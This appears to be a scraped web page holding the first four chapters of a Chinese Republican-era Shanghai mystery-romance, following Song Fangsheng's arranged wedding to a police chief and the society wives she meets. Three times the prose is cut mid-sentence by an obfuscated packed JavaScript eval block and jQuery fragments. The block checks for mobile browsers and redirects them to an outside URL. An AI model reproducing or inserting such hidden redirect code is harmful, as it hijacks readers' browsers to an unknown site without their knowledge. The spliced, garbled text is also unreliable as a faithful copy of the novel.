《阔太下午茶推理时间[民国]》
1. 宋芳笙
暴雨夜。
青灰色的夜空不断有豆大的雨珠滚落,一滴滴打在宋公馆爬满地锦的外墙上,哗哗啦啦急如鼓点。
正在二楼擦拭花瓶的女佣王妈,见雨点子溅进屋内,蹙着眉伸手关上青绿相间的玻璃窗,转过身去骂新来的丫头云儿不仔细。
“说了多少回,看着要下雨就赶紧关窗,哪哪儿都不能遗漏。咱们太太刚滑了胎,正是将养的时候。要是被风扑着受了寒,仔细你的皮。”
窗扣落锁的声音脆响,将凄暗与潮冷关在外头。
宋公馆坐落在上海寸土寸金的卫国路,十里洋场,富人云集。冷白色路灯下细细密密的雨帘之中,一个纤瘦的年青女人抱着一个婴儿由远及近,直朝着宋公馆大门方向,踉踉跄跄跑来。
紫藤花架下,三米高的铸铁大门门楣处,黑底烫金的“宋宅”二字冷冽闪光,女人没有在大门口做停留,反而好像十分熟悉宋宅的建构一般,直接跑过大门,从右侧墙垣细细密密的地锦藤蔓中摸索一阵,抓起铜制门扣往里一推,抱着孩子进到宋宅,躲在漆黑的墙下,不敢作声。
一墙之隔,巷道尽头转出来几个光着膀子的人。他们左顾右盼,手上有的是棍棒,有的是长刀,相互吆喝着,也往宋公馆方向跑来。
“看见人了吗,往哪边跑的?”
“就这边吧,拢共就一条道,她还能飞檐走壁不成。”打手说完,抬手混乱抹去脸上雨水。
为首的男人骂骂咧咧,后脖颈处一把断刀的纹身格外显眼,“她今天就是上天入地也得给我找出来,否则你们几个杂种都没命!继续给我找!”
听泠冽的脚步声渐渐远了,女人抱着婴儿终于缓过气来,像被抽走灵魂一样靠墙慢慢蹲下。婴儿似乎终于从酣睡中醒来,在襁褓里动了动脚,闭着眼,双手对着空气乱抓。女人低头看她一阵,眼圈上的红晕更深一层。
“女儿……我的女儿……”
冰冷指尖轻触到女婴柔嫩脸蛋,温软的、充满生气,与这死一般凄凉的雨夜格格不入。女人抬头看向宋公馆二楼窗户,明黄色暖光渠映在她滚圆的葡萄眼里,像黑夜里划燃一根火柴。她的表情逐渐悲戚起来,泪水更多,终于下定决心起身,抱着女婴跑到宋宅大门口,将孩子小心翼翼地放在廊下,雪白的大理石地砖上。
女婴皮肤雪白,鼻尖和小嘴因为受凉的关系微微泛红,多么可爱。可她不能再做停留,巷道里嘈杂急切的脚步声又来了。
女人最后看一眼襁褓里的女婴,将脖子上一块浮雕佛像的玉牌项链取下,挂在女婴脖子上,伸手拍三下宋宅大门,踩着湿透的布鞋跑开。
像是感觉到母亲离开,女婴闭着眼嘤嘤哭闹起来,女人焦急地来回看,怕哭声引来打手,只能赶紧跑出宋宅,朝相反的方向奔逃。
大雨下的路灯闪烁不停,雨帘忽明忽暗。街道中央纤薄的身影被追上的打手围住,棍棒捶打骨肉之声被雨声掩盖,渐渐不可闻了。
翡翠玉镯随女人的手垂落,在地上摔碎成几段的同时,宋宅屋里头传来登登登下楼梯的声音。扎着两个大辫子的丫头开门探出个脑袋,瞧见地上女婴慌了神,赶紧回头叫人。过时王妈搀着一个脸色苍白的病弱妇人露了面,拉紧肩上围巾往雨夜里瞧,最终蹲下身把女婴抱起来,被围上来的丫头仆人们簇拥着回了暖屋里去,门嘎吱一声关上了。
烛光渐渐上移,妇人抱着孩子的身影出现在二楼窗前。身侧走过来一个男人,低头去瞧那襁褓里的女婴,隐约有哭声从屋内传来。
玻璃窗关了又开,二十年光景转瞬即逝,宋宅外墙上细密的地锦黄了又绿。日光与月光交替映照在二楼窗前雪白的人儿脸上,看她从牙牙学语到裙钗罗衣,款款动人。
清晨五点,房间里彩绘座钟的指针刚走完一圈。宋芳笙睡眼惺忪地坐在梳妆台前,任由身后几个妆娘给她梳头、化妆。
丫头小春端着茶水进来,眼睛直勾勾地盯着床上洁白的婚纱,脸上止不住发笑。
手推波浪卷的刘海服帖得盘绕在女孩光洁饱满的额头,两侧带上镶珍珠的边夹。镜子里的姑娘鬓边垂丝透着温柔,眉眼却伶俐,一水儿坚韧的杏眼扑闪两下,只是嘴角仍旧绷紧。
烫好头发,妆娘迫不及待将床上的头纱拿起来,从袖口取下两颗别针,就朝着宋芳笙头上罩过去。另一个妆娘赶紧打她的手,把头纱抢下来。
“急什么,新娘子衣裳还没换,待会儿再把头纱踩坏了。”
被打手的妆娘谄媚笑着,扶宋芳笙起身换衣服,“是是是,要不说英雄难过美人关呢。我瞧着小姐比牡丹花还好看,魂都被勾走了,哪里还记得手上活计,该打、该打。”
掐腰的婚纱穿上身,小春赶紧凑过去,给宋芳笙扣最后两粒珍珠扣,斜眼笑她道,“什么牡丹花,我们小姐可是全上海公认的远东最美珍珠……好了,小姐你真好看。”
周遭人的阿谀奉承没能让宋芳笙高兴,她兴致乏乏地看着镜中白纱绕身的自己,默默将脖子上戴着的玉牌项链塞进衣领,也不言语,松开小春的手坐回软凳上。
一个体态丰腴的女人推门进来,细看和二十年前,在宋宅门口捡到女婴的病弱妇人一个模样,只是眼角添了风霜。
“宋夫人。”
宋母江婉容走到宋芳笙身后,笑得合不拢嘴,“瞧瞧、瞧瞧,到底是做少奶奶的人,耀眼模样,竟把整间屋子都照亮了。”
“妈。”女孩瘪嘴扯宋母衣角,露出小女儿的羞怯,“连你也取笑我。当真是嫁出去的女儿,如同泼出去的水。”
宋母瞧她粉面微嗔,当真带着几分抱怨,双手扶在女儿肩头,俯下身柔柔道:“何曾取笑,自然是真替女儿你高兴才如此说的。”
说着她拿起梳妆台上黑色天鹅绒首饰盒打开,取下女儿耳垂上的珍珠耳环,把盒子里翡翠耳坠换上去,同镜子里的女儿继续道,“咱们家的女儿出嫁,要珍珠配翡翠才行。那新郎官你上次也见着了,高大威武、英俊潇洒。得了这么个如意郎君,可不该高兴?”
宋芳笙戴着头纱不答应,从鼻腔里浅浅哼一声,“什么了不得的人物,顾均胜……左不过一个警署署长,哪儿比得上爸爸厉害。”
宋父宋维安是一名外交官,她自小跟在父母身边,见惯了名利场推杯换盏、灯红酒绿。宋母见状叹一口气道,“你父亲虽说是外交官,这几年时局动荡,到底被夺了不少实权,空有个外交家的名头。顾家少爷表面上是警署署长,实权上和警察厅厅长无二,那可是实打实有权有势、手眼通天的人物。他是家中独子,父亲又早逝,寡母陆夫人祖上还有军方背景,孤儿寡母不会为难你。我和你父亲都帮你问清楚、看仔细了才定下这门亲事。你嫁过去,必不会吃亏。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016194|178452||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能让她吃亏的人还没生出来。宋芳笙心里如是想道。
“我原不关心这些。妈,你只记得,答应过我的事:等我结婚之后,就让我做自己喜欢的事,再不干涉。”
不同于上海的名媛们喜好涂脂抹粉、穿衣打扮,宋芳笙自幼性子野,总认为女孩儿比男孩儿强,内里有一股子倔劲和傲慢,凡事处处要强,喜欢和男孩子比高低。当同龄的女孩还在听龚秋霞、看张恨水的时候,宋芳笙整日里沉浸在讲包拯办案的《三侠五义》和宋慈《洗冤集录》,一心只想栽进侦探小说的世界里,打定主意,要么自己破几桩案子,要么写点惊世骇俗的侦探小说出来。
宋母知道她痴迷于此,自然点头不迭,一切先哄着为主,心想嫁到顾家,那新郎官必不会像她和宋维安一样慈母多败儿,没天没地地宠着这个娇蛮女儿,万事皆有收敛。
穿戴齐整,宋母带着妆娘退出去,叫小春服侍宋芳笙先吃点东西,新郎官会在吉时登门来接,坐车到饭店举行婚礼。
听着楼下往来恭贺、络绎不绝之声,让她想起和顾均胜上一回,也是头一回见面那日的情景。
那日正值小暑,她和母亲顶着毒辣的日头到礼查饭店赴约,足足等了大半个钟头也没等来顾均胜。
宋芳笙脾气一上来,叫嚷着要走。宋母说不过她,让小春带着她到花园透气。瞧着自家汽车停在边上,她直接招呼司机老陈,打算带着小春先走,送她去图书馆再回来接母亲。
提裙上车的间隙,一辆警车从饭店外头开进来。两个手下模样的警察先行下车,拉开后座车门。隔着紫藤花架,她瞧见一双黑色皮靴下了车,藏青色立领制服剪裁服帖,皮质腰带上挂着的金属警徽显示着来人举足轻重的地位,只是看不见脸。
说好谈婚论嫁,双方理应有长辈到场。他却只身赴任,迟到不说,还穿着警察的衣服,宋芳笙只觉他压根没把宋家放在眼里。
瞧着人走进饭店,宋芳笙悄悄走回饭店门口,缩在角落打量那道挺拔的背影。
“警署事多繁杂,误了时辰,衣服也没来得及换,宋夫人久等。”男人声音低沉,自是好听。
江婉容不是第一次见顾均胜,脸上盈满笑意,招呼他坐下,“知道你忙。你母亲常在电话里同我抱怨,说你忙起来就没个数,东奔西跑不要命似的,只盼着你早些成亲,才知道着家。”
说罢不忘四处瞧,像是在寻找宋芳笙的身影:“你妹妹才出去透气,这会子估摸着还在花园,我找人去叫她。”
“好。”
几时成了他的妹妹?宋芳笙在心里抱怨。看着母亲叫来服务生,指着门外,她拉着小春绕过花园,上车让老陈赶紧发动车子,离开这是非之地。
这算见着了?其实也不算。拢共只瞧了个背影。高大威武,也就那样;英俊潇洒,说不定都是母亲编排出来哄她的。
脸上长麻子、痦子了没有?鼻梁塌不塌?她一概不知。
至于顾均胜此人,甚至连自己的背影也没瞧着。就这样还能答应这门亲事,宋芳笙觉得他不过也是个视婚姻如儿戏之人。
心里正胡思乱想,忽听得楼下一阵欢呼雀跃,伴礼乐管弦之声。宋芳笙起身,尚未走到窗边往外瞧,就听见房门打开,小春急登登走进来,脸上是止不住的高兴。
“快些将头纱盖好,顾少爷登门迎亲来了!”
2. 叶秋容
隔着一层蕾丝镶边刺绣头纱往外瞧,满屋子陈设好像都陌生起来。
宋芳笙心中忐忑,坐在床上,忍不住抓紧裙摆,手心生汗。
嘈杂的吵闹声由远及近,不一会儿到了门口。房门缓缓打开,不像是以前参加婚礼时,旁的新郎官急不可耐的样子,一双黑色皮靴映入眼帘,钝声落在地毯上。
还是黑色皮靴,只不过这双看着像是新置办的。啪嗒、啪嗒,沉稳缓慢,在她面前站定。
二十年前还是个丫头的云儿,如今成了看着宋芳笙长大的云妈。见人见喜,她高声喊着“新郎官来接亲”,众人却谁也不敢上前,起哄伸手去推顾均胜。
只道是他那身警服太唬人。
顺着靴子往上瞧,她第一次看清自己先生的容貌。宽肩窄腰,剑眉星目,没什么情绪的脸上不是那种娇养的白,而是白得干净、亮堂,四月晨起时候的太阳似的,暖而不燥。眉骨下头打着阴影,眼窝下陷而眼尾上扬,五官立而两腮窄,那张脸只怕比自己的还小些。
是好看。
打量的功夫,顾均胜瞧着眼前珍珠白玉似的美人,眼中起了微波。他知宋芳笙自小受的是西方教育,行事作风上不免大胆,就连礼服也露着肩膀,腰际两侧还各开上一条口子。
他心里莫名有些不悦。
“宋小姐。”他朝着宋芳笙伸出手,宽大的手掌布满纹理,指尖微微泛粉,肤色通透。
这一声“宋小姐”将她神志唤回。两人尚未行礼,算不得夫妻,她想起那日他怠慢自己和母亲,心里憋着一股劲,决定给他个下马威。
新郎官的手空悬半晌,迟迟不见宋芳笙抬起手来。众人吵闹取笑声渐渐弱下来,只听得床上新娘子柔声问了一句,“顾少爷来接,可备有迎亲礼?”
顾宋两家此次联姻,走的是当下时兴的中西结合婚礼。中有提亲纳采、合八字,西有西洋酒会、玫瑰花束。早在七日前,顾家就已经将二人的婚事刊登在《申报》上做了启事,更是定下上海大饭店作为举行婚礼的地方,只待新郎新娘登场,在主婚人、证婚人的见证下敬拜父母、交换戒指便算礼成,中午再换上中式礼服出来敬酒。
却不知这“迎亲礼”是哪门子礼数?
看宋芳笙半抬半闭的眼睛,宋母便知是她故意耍小性,要在众人面前给顾均胜难堪。劝解的话没说出口,只见顾均胜从容地伸出另一只手,摊开来掌心赫然躺着一只玉镯。
玉镯蓝水飘花、清亮通透,花纹像一幅山水画中,几根水草轻柔摆动,美不胜收。
“这是母亲传家的玉镯,上次在礼查饭店约宋小姐一见时专门备下,只是当时无缘见面。今日我本想等到洞房花烛,你我二人单独相处时再拿出来,以表心意。”
一番话说得诚恳,宋芳笙却瞧出他眼中促狭。
身后接亲的人听“洞房花烛”几乎炸了锅,一溜儿站在男人身后哄笑拍手,闹腾不迭。
洞房能不能提?当然能。可她觉得被占了便宜。宋芳笙朱唇紧抿,连口脂都咬掉些许,只得把手伸出去,让他把镯子套上自己手腕。
她赌他不是个好脾气的人,今天还就非要让他当众吃瘪才行。
水灵圆润的眼珠子转两圈,宋芳笙又生一计,没有起身的意思,“我在这床上久坐,脚酸站不起来,顾少爷可愿意背我?”
此举撒娇耍浑的意图太过明显,迎亲的警察里好几个都呆愣在一旁,小心翼翼地瞧着顾均胜的脸色。
男人听完,目光扫过头纱后那张娇蛮的脸蛋,忽的收手走近,弯腰揽住宋芳笙腰身,单手把人从床上捞起。
“诶!”
宋芳笙吃了一惊,下意识挽住男人的脖子,收腿的瞬间,另一只手绕过宽大裙摆勾住女儿大腿窝,就这样打横把人抱了起来。
“快放我下来。”
男人置若罔闻,一步一步走得极稳。
如此亲昵暧昧的姿势,一时惹周围人面红,意识到这是婚礼现场,这才又恢复了热闹的气氛,欢呼笑闹着送两人下楼、上车。
一路上,宋芳笙隔着头纱瞪他,他只当没看见,下车牵人走红毯、拜父母,接过花童手里绒布托盘,互换戒指,一丝不苟。
要说他和木头唯一区别,便是他长了个会呼吸的鼻子。
“礼成,新郎可以亲吻新娘了!”
什么,他还想亲她?
看头纱被面前人缓缓掀起,无数双眼睛直勾勾盯着台上两人的一举一动,宋芳笙扯动嘴角,笑得勉强。
碍于众目睽睽,她嘴唇微张,几乎是用腹语同他打商量,“亲……就算了吧……”
即便穿着高跟鞋,男人也高出她大半个头。顾均胜低头靠近,脸上毫无波澜。
“如果你是因我那日迟到,恼我、气我,我向你道歉。你嫁我不过是遵从父母之命,我娶你也不过是圆孤寡老太太一个心愿,所以只要你乖乖的演好这场戏,你我各自营生,我不会为难你。”
什么叫她乖乖的,婚礼尚未结束,他就要同她摊牌了?
宋芳笙没想到他原来早就看透一切,心态比她好上不知道多少倍,忽的生出一种被人戏耍的羞耻感。
“顾少爷自以为,哪里来的本事可以难为我?”
他不回答,而是跟着现场所有人一起,盯着她,看她如何反应。
这是自己的婚礼,上海有头有脸的人物面前,说什么不能给宋家丢脸。想着自己这下又被他压了一头,宋芳笙咬牙不再说话,朱唇紧抿,闭上了眼。
男人看她听话闭眼,剑眉上挑,缓缓凑近在她额头印上一吻,结束还不忘在她耳边低语,“做得好。”
顾均胜!此人分明是个混球!
一段礼毕,宋家父母和陆夫人在外头接待贵客,不忘催促宋芳笙赶紧去换衣服,待会儿还要出来敬酒、跳舞。
饭店里给新娘准备的备婚房仍在一楼,离宴会厅不远处一处复合式套间,紧挨着花园。进了房间,宋芳笙越想越气,摘蕾丝手套的时候顺带也将那玉手镯摘下来,作势就要往地上砸。
“可使不得!”
小春赶紧把东西抢下来,小心翼翼地收进妆奁盒子里,“少奶奶再生气,万不能砸了它。方才顾少爷不是说,这是顾家传家的物件,此一时作气砸了它,后头可如何向陆夫人交代?”
“少奶奶?”宋芳笙一时间怔愣,反应过来:自己现在同顾均胜结了婚,可不是成了少奶奶?
小春刚叫完又继续笑道,“是啊,虽说顾少爷自己在外头买了宅子,如今不与陆夫人同住,但始终还是个少爷,等他日顾少爷当家作主了,我再改叫你一声‘顾太太’也不迟。”
“呸。”宋芳笙坐在沙发椅上,捶打软枕撒气,“什么顾太太。这女人成了亲,连自己的名字都没了,从宋小姐变成顾太太,谁知道你是谁,谁又稀罕呢?”
“是是是。太太是上海宋家的独女,自然用不着稀罕。”小春一面哄她,一面替她取出大红的旗袍整理。宋芳笙抛开软枕,百无聊赖走到阳台,被花园的景色吸引。
备婚房外,大片凌霄花海宛若跳跃的火焰。参加婚礼的宾客有零散几个站立于花海之中,以一男一女最为显眼。
男人白色西装,金线单片眼镜下是一双漂亮的瑞凤眼,优雅温吞,眼中暗藏三分精明的光。宋芳笙见过他,他是中华第一商会会长,段家三少爷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016195|178452||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
段澄恩。
别看他排行老三,听父亲说,前头大哥、二哥的能力与手段都远不如他。否则段家从商致富,上头还有个段老爷顶着,万不能选他做会长。但凡提起三少爷,连街头卖报的孩童都知道,是在说段澄恩。
男人丝毫没有察觉到阳台这边的目光。他眼神下落,正似笑非笑地看着身旁娇小玲珑的女人,好像眼里只看得见她一个。
宋芳笙打小生活在名利场,上海的名媛小姐们十有八九都脸熟,偏这个穿靛蓝色刺绣旗袍的女人她今日头一回见。世家大族的小姐们多优雅傲慢,眼睛都长在头顶上,这个女人却生得柳眉狐眼、樱桃红唇,一颦一笑都沾带藏不住的娇气,让她莫名想起《聊斋志异》里狐媚的女妖聂小倩。
不知是哪家小姐,野猫似的,没规矩。
“好先生,你最好了……就依我罢。”女人拉着男人的胳膊轻摇,这一幕像极了聂小倩同宁采臣纠缠不休。
小春正整理首饰盒,把待会儿新娘穿戴的金饰一件一件拿出来,准备给宋芳笙戴上。
见她垫着脚直往外探头,小春到阳台一瞧,知趣地笑了,“少奶奶不认识,那是段家刚过门的儿媳,叶秋容,叶三少奶奶。”
“瞧着比我还小些,就已经结婚了?是从外省来的吗,怎么段家少爷娶亲,我竟不知?”
“听说她才十九,比少奶奶你小一岁。两人结婚的时候,少奶奶你正好去了香港,所以不知道。”
小春一边低头给她穿戴金饰,一边小声八卦道,“听外头传,这段家三少奶奶原是仙乐斯歌女的女儿,老子也是仙乐斯吹萨克斯的,自小就在霓虹灯下长大。三个月前头一回登台,正撞上三少爷包场宴客,也陪着喝酒。到次日早上,有人瞧见三少爷和她前后脚从饭店同一间房里走出来,没几日就传来两人订婚的消息。”
什么意思,小春是说,那个叫叶秋容的女人,爬了段澄恩的床?
看出她眼中震惊,小春连连摆手道,“可不是我混说,两人结婚的时候,大家都认出三少奶奶的父母就是仙乐斯的人,身份断不会错。至于他俩那晚到底如何认识,又如何迅速定了亲,我就不知道了……”
“都从同一间房走出来了,还能有假不成?”宋芳笙向来不喜女子攀附男人、做出以色侍人的下流勾当,瞧着那抹娇俏的身影鄙夷道,“十九岁的年青歌女,能配给三十出头的商会会长,定是有点子手段在身上的,只可惜了好模样。”
话虽如此说,该听的八卦还是要听。
两人略微猫腰,继续听叶秋容同段澄恩撒娇。
“八点……不,七点,至多七点我一定回来,必不让你在太太面前难做,好不好嘛,先生~”
男人的外套被她揪出一个褶,看表情十分享受女人撒娇的样子。身后一个司机打扮的人走进花园,低头在段澄恩耳边说了什么,就看见他垂眸温声道,“六点,我去接你。”
声音温吞似水,宋芳笙却听出里头不容置疑的霸道。
“先生最好了!”聂小倩垫脚收腰,凑上前在男人脸颊旁若无人亲了一口。宋芳笙下意识捂住嘴,隔着花丛都替她害臊。
“了不得,真当这里是仙乐斯了。”
红唇印在脸上,叶秋容拿起手帕给段澄恩擦脸。他低头又在小妻子耳边嘱咐两句,先一步转身,跟着司机走了出去。
谁知男人一走,叶秋容瞬间就垮了脸。宋芳笙瞧她嘴角退去媚笑,表情带着几分嫌弃,直冲着段澄恩远去的背影做了好几个鬼脸,吐着舌头骂了句“臭老头”。
“噗。”这下是小春没忍住笑出声,宋芳笙赶紧捂住她的嘴,转头再看过来,刚好与叶秋容目光相撞。
3. 沈丽曼
见叶秋容发现自己,宋芳笙带着小春站在阳台,气氛一时间尴尬。
怎么说,是打招呼,还是说自己什么都没看见?
她扯扯嘴角,努力露出笑脸,叶秋容却只是哼出声瞪她一眼,转身就走。
“哟,古怪,是她非要拉着人到我房间阳台下说悄悄话的,还怪我听了去。”
挂钟快走到十二点,小春把挂在床头的大红旗袍取下来,催促宋芳笙赶紧换上。
缎面织锦的旗袍,盘扣仍用的珍珠。黄豆大小的珍珠在脖子上绕三圈,又在头发上绕三圈,和金子打的手镯、项链混在一起,比头顶五彩闪光的水晶吊灯还要闪些。
宋芳笙把手举起来,摇晃着手腕和手指上的珠宝,阳台外凌霄花、芭蕉、棕榈,又红又绿,混着树影处渗进屋子里的日光,亮得她睁不开眼。
小春瞧宋芳笙又高兴起来,跟着笑,“仔细甩出去,我去请顾少爷来接你出去要紧。”谁知她刚作势把宋芳笙的手拿下来,一下子瞧出她身上不对,变了脸色。
“少奶奶,你手上那枚凤戒呢?”
“这不在手上的吗,你瞧……”宋芳笙抬起手背,这才发现,原本戴在右手搭配婚戒的那枚金凤凰戒指不见了,“诶,方才明明看见你给我戴上的,哪里去了?”
两人绕着房间,床上床底找了个遍,终于在阳台木质地板缝隙里找到了金色的戒指。
“我早说这枚戒指我戴着大了些,丢是迟早的事。要不然,还是别戴了吧。”
“那怎么行?”小春替她整理头发,“婚嫁时打造的黄金一律都有定数,凤冠、凤簪和凤镯自不必说,戒指和耳坠也都是老爷太太这样大户人家才会准备齐全的。这枚戒指是祖传的物件,因着太太拿出来得晚些,来不及改,少奶奶就先将就戴一会儿,千万别摘。若待会儿出去敬酒,被人瞧出身上缺了一件,终归不吉利。我明日就拿出去找金匠改。”
余光扫到梳妆台上信笺纸,撕下一块来对折成半个指甲盖大小,塞进戒指与皮肉之间的缝隙,觉得正好,“走吧。”
房门打开,顾均胜正斜斜地依靠在门边等着,身上署长的衣服换成了黑色燕尾服,浓睫淡扫,从上到下打量自己的新婚夫人。
“顾少爷何时在的?”
这件旗袍遮得严实,他终于满意了,缓慢眨眼道,“走吧。”
因着方才在结婚典礼上不欢而散,宋芳笙不愿理他,掐腰提着裙摆走在前头。
顾均胜在后面淡淡道,“就这么着急想让所有人都知道,一向心高气傲的宋家小姐,对自己所嫁之人不满意?”
如果真被人看出来,那的确很久丢人了。看着父母和陆夫人身边的丫头来寻,宾客们的目光也纷纷看过来,她极不情愿退回去,挽上男人胳膊,踩着高跟鞋啪嗒啪嗒走到宴会厅。
敬酒从长辈和在场地位最高的人开始,宾客有喝洋酒的,有喝白酒的。夫妻俩端着香槟,被宋母引着挨桌道谢。期间喝得急些,宋芳笙有些挂脸,挽着自家先生的手不免用力。顾均胜未开口安抚,挥手招来服务生,将宋芳笙的酒换成白葡萄汁。
顾均胜有心照看,她也受用,理所当然地接着。
第二桌来到段家人中间,宋芳笙一眼认出,站在段夫人左边的就是段澄恩和叶秋容,再次是段家大少爷段澄轩、大少奶奶何美龄,右边则是段家二少爷段澄远、二少奶奶许小月。
大少爷段澄轩大腹便便,一看便是酒肉穿肠过的生意人,段澄远则看上去与段澄恩一般高高瘦瘦,只是长衫马褂,袖口翻出白色的锦缎,一副老谋深算的模样。两位少奶奶姿色上差叶秋容一大截,作派却是实打实的富家小姐,宋芳笙记得她们分别是外买办何家的二小姐,和在上海开创影片公司的许家的千金。
段夫人先开口,眉眼弯成一条线,“恭喜陆夫人,也恭喜宋老爷、宋太太,令郎令嫒,佳偶天成!”
新郎新娘各自开口谢过,宋芳笙余光扫向叶秋容,发现她也在看自己。
顾宋联姻,少不得是上海一件大事。上海大饭店里人头攒动,整五十六桌宴席坐得满满当当。一圈酒敬下来,宋芳笙只觉脚酸肚胀,终于得空坐下,小春赶紧蹲下给她揉腿。
“哎呀,少奶奶的戒指去哪儿了?”
被她这么一吼,宋芳笙抬手,瞧见手上的金凤戒指不知何时没了,“几时掉的,我竟没察觉。”
“这可怎么办?让老爷太太瞧出来,定要寻我的不是。”
“你慌什么,晚上跳舞,头顶灯光都是关了的,你赶紧去房间我那首饰盒里,随便寻一枚旁的戒指给我戴上就是。”
不一会儿,小春拿了枚金镶玉的戒指来,宋芳笙刚戴上,就被宋母叫去,说是要带她认识上海世家大族的太太小姐们。
在场女人们多熟脸,只是无深交。在宋母介绍下,算是旧人重逢,“新娘子今天格外光彩照人,尤其那件婚纱,我听说,是专门找英国裁缝,照着好莱坞时下最流行的款式手工缝制的,我都想再结一次婚了!”
“说什么呢你,多臊得慌。”
一阵阵骄矜细软的笑声中,叶秋容瞧着宋芳笙端酒的右手,忽的开口笑道,“新娘子好时髦,手指上带的不是凤戒,而是翠玉戒指,这也是西洋婚礼流行的吗?”
就连宋母都没瞧出她换了戒指,偏这小姑娘看了出来。宋芳笙尚未想好如何回答,方才见过的段家二少奶奶许小月先开了口。
“流不流行什么打紧,终归是数一数二的好东西。你认不出来也无妨,只是少开口,横竖要丢脸丢在家里,别丢在外头。”说完还不忘转过头来,朝宋母和宋芳笙赔笑脸,“她年纪小,没见过什么好东西,加上不怎么跟出来,宋夫人和新娘子别见怪。”
原本宋芳笙认为叶秋容明知故问,还打算开口教训两句。可如今见他们自家人骂自家人,许小月说话这般难听,宋芳笙心里一股子倔劲上来,斜了许小月一眼。
“原不是什么好东西,我戴着玩的,三少奶奶觉得奇怪也正常。”说完她略低头,脖子上露出翠玉珠串一隅,“我就爱戴玉饰,与结婚的礼仪不相干,若不是怕妈妈责怪,我此刻脖子上珍珠啊、翠玉啊、金子啊,定是又白又黄又
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016196|178452||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绿的。”
说罢大家又笑一阵,许小月听出她这话偏帮叶秋容,扯了扯嘴角不再言语。
听宋芳笙替自己解围,叶秋容的表情仍是骄矜,不过打量对方的眼神柔和下来,继而低头不知道在想什么。
叶秋容的丫头四妞就站在众位太太们身后。见叶秋容吃瘪,她朝四周瞧瞧,退至走廊转身寻到段澄恩,低头把许小月打压叶秋容的事告诉了他。
一众洋红、翠绿、绛紫的旗袍之中,宋芳笙瞧花园西洋铁艺桌椅前,坐着一名身穿黑色旗袍的女人,正背对着众人饮茶。敬酒之时女人与镇海荣家同坐一桌,妆容精致、体态丰艳,人像黑水池子里开出的一朵红莲。她身边还跟着一个五、六岁大小的孩童,就坐在女人怀里吃苹果,样貌可爱得很。
“那是沈丽曼,原是虹口帮家主吴阳浦的太太。可惜吴阳浦上个月遭劫死了,留下她和儿子孤儿寡母。”小春凑到宋芳笙耳边说道,“少奶奶别看她纤纤女流,三天前我看报纸,说是那几个疑似害死她先生的贼人都被杀了,死得面目全非的,警察署的人查了三天愣是没查到她身上来,如今她接替她先生,成了虹口帮的女家主,阖帮上下,没有一个人有异议,你说厉害不厉害。”
好厉害。
方才自己同她敬酒的时候,丝毫看不出她刚失了丈夫,三天前还大开杀戒。宋芳笙脑海里闪过她面带鲜血的模样,犹如牡丹泣露,更加香艳。
敬酒累人,陪太太们谈天说笑也好不到哪儿去。
走到廊下坐定,宋芳笙揉着自己的脚踝,发誓就算以后离了顾均胜,也断不会再结第二次婚。
“姨姨你吃苹果吗?”她闻声抬头,看见沈丽曼的儿子不知何时到了自己跟前,左右瞅瞅,没瞧见沈家奶妈。
“姨姨不吃,你妈妈和奶妈呢?”
“这苹果很甜的。”小奶娃说罢自己先咬一口,拉住宋芳笙一根手指头,把她往花园里带。
洁白的石阶走出去一段,来到方才沈丽曼喝茶的西洋桌椅边。黑色旗袍的女人放下茶杯,笑着让她坐下。
“结婚典礼是最累人的事,你头一次结婚,没经验也是正常的。再有下次,记得穿不那么累脚的鞋……坐下喝杯茶吧。”
面前女人气场太强,宋芳笙脑子一时没转过弯,愣愣地重复她的话,“下次……”
“开玩笑的,”沈丽曼把儿子抱上大腿,替他擦去嘴角苹果汁渍,“顾少爷仪表堂堂、年青有为,在上海挑不出第二个。”
“可我不喜欢他。”沈丽曼身上似乎有种魔力,宋芳笙想也没想就说了实话,丝毫不加掩饰。
沈丽曼听罢笑道,“现在不喜欢,指不定以后就喜欢了。我知你们是父母之命、媒妁之言,但你既知父母疼你,就该知道他们选的人一定不会差。”
你呢,你的婚姻又是如何?宋芳笙刚想开口,想起她先生刚过世,又连忙止住。
沉默的片刻,一只染着豆蔻的手从身后探出。宋芳笙转过头看见叶秋容站在身后,将她丢失的凤戒放到桌上。
“你的,我给你找着了。”
4. 洞房
凤凰金戒指完好无损,只是翅膀缝隙里沾了些灰尘。
“你怎知我丢了凤戒?又是在何处寻到的?”
“我记性好啊。”叶秋容看一眼旁边坐着的沈丽曼,下意识收敛神色道,“方才敬酒的时候,我瞧你手上戴的还是凤戒,没一阵和宋夫人单独出来手上戒指就成了翠玉戒指。期间你一直在宴会厅,我不过转了两圈,在一个宾客凳子下面捡着了。”
